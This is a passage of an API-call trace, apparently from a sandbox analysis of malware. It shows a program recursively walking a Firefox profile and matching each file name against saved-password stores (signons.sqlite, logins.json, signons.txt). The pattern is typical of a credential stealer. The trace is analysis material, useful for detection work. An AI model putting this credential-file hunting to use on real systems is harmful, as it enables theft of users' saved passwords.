lpSrch="logins.json") returned 0x0 [0048.008] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.008] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.008] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.008] lstrlenA (lpString="cookies.sqlite") returned 14 [0048.008] StrStrIA (lpFirst="cookies.sqlite", lpSrch="logins.json") returned 0x0 [0048.008] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.008] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.008] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.008] lstrlenA (lpString="downloads.sqlite") returned 16 [0048.008] StrStrIA (lpFirst="downloads.sqlite", lpSrch="logins.json") returned 0x0 [0048.008] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.008] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.008] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0048.008] lstrlenA (lpString="extensions.ini") returned 14 [0048.008] StrStrIA (lpFirst="extensions.ini", lpSrch="logins.json") returned 0x0 [0048.008] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0048.008] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.008] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.008] lstrlenA (lpString="extensions.sqlite") returned 17 [0048.008] StrStrIA (lpFirst="extensions.sqlite", lpSrch="logins.json") returned 0x0 [0048.008] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.008] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.008] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.008] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0048.008] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0048.008] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.008] lstrlenA (lpString="\\") returned 1 [0048.008] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.008] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.008] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.008] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.008] lstrlenA (lpString="healthreport") returned 12 [0048.008] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x74fba8 [0048.008] lstrcpyA (in: lpString1=0x74fba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.008] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.008] LocalFree (hMem=0x746ad0) returned 0x0 [0048.008] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned 94 [0048.009] lstrlenA (lpString="\\*.*") returned 4 [0048.009] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74d998 [0048.009] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.009] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*" [0048.009] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.009] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.009] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.009] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.009] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.009] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.009] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.009] LocalFree (hMem=0x74d998) returned 0x0 [0048.009] LocalFree (hMem=0x74fba8) returned 0x0 [0048.009] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.009] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.009] lstrlenA (lpString="healthreport.sqlite") returned 19 [0048.009] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="logins.json") returned 0x0 [0048.009] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0048.009] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.009] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.009] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.009] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0048.010] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0048.010] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.010] lstrlenA (lpString="\\") returned 1 [0048.010] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.010] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.010] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.010] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.010] lstrlenA (lpString="indexedDB") returned 9 [0048.010] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fba8 [0048.010] lstrcpyA (in: lpString1=0x74fba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.010] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.010] LocalFree (hMem=0x746ad0) returned 0x0 [0048.010] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.010] lstrlenA (lpString="\\*.*") returned 4 [0048.010] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x746ad0 [0048.010] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.010] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*" [0048.010] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.010] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.010] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.010] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.010] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.010] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.010] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0048.010] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0048.010] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.010] lstrlenA (lpString="\\") returned 1 [0048.010] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x74fc90 [0048.010] lstrcpyA (in: lpString1=0x74fc90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.010] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.010] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned 92 [0048.010] lstrlenA (lpString="moz-safe-about+home") returned 19 [0048.010] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x76e840 [0048.010] lstrcpyA (in: lpString1=0x76e840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.010] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.010] LocalFree (hMem=0x74fc90) returned 0x0 [0048.010] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.010] lstrlenA (lpString="\\*.*") returned 4 [0048.010] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74fc90 [0048.010] lstrcpyA (in: lpString1=0x74fc90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.010] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*" [0048.010] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 0x72dd50 [0048.010] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.010] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 1 [0048.010] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.010] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.010] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 1 [0048.011] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0048.011] lstrlenA (lpString=".metadata") returned 9 [0048.011] StrStrIA (lpFirst=".metadata", lpSrch="logins.json") returned 0x0 [0048.011] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0048.011] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0048.011] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0048.011] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 1 [0048.011] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0048.011] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0048.011] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.011] lstrlenA (lpString="\\") returned 1 [0048.011] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x74fd90 [0048.011] lstrcpyA (in: lpString1=0x74fd90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.011] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.011] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned 112 [0048.011] lstrlenA (lpString="idb") returned 3 [0048.011] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74fe90 [0048.011] lstrcpyA (in: lpString1=0x74fe90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.011] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.011] LocalFree (hMem=0x74fd90) returned 0x0 [0048.011] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.011] lstrlenA (lpString="\\*.*") returned 4 [0048.011] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x74fd90 [0048.011] lstrcpyA (in: lpString1=0x74fd90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.011] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0048.011] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 0x72dd90 [0048.011] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.011] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 1 [0048.011] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.011] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.011] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 1 [0048.011] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0048.011] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0048.011] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.011] lstrlenA (lpString="\\") returned 1 [0048.011] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x75c118 [0048.011] lstrcpyA (in: lpString1=0x75c118, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.011] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.011] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 116 [0048.011] lstrlenA (lpString="818200132aebmoouht") returned 18 [0048.011] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x75c218 [0048.011] lstrcpyA (in: lpString1=0x75c218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.011] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.011] LocalFree (hMem=0x75c118) returned 0x0 [0048.011] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 134 [0048.011] lstrlenA (lpString="\\*.*") returned 4 [0048.011] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x75c328 [0048.011] lstrcpyA (in: lpString1=0x75c328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.011] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\aDU0VK 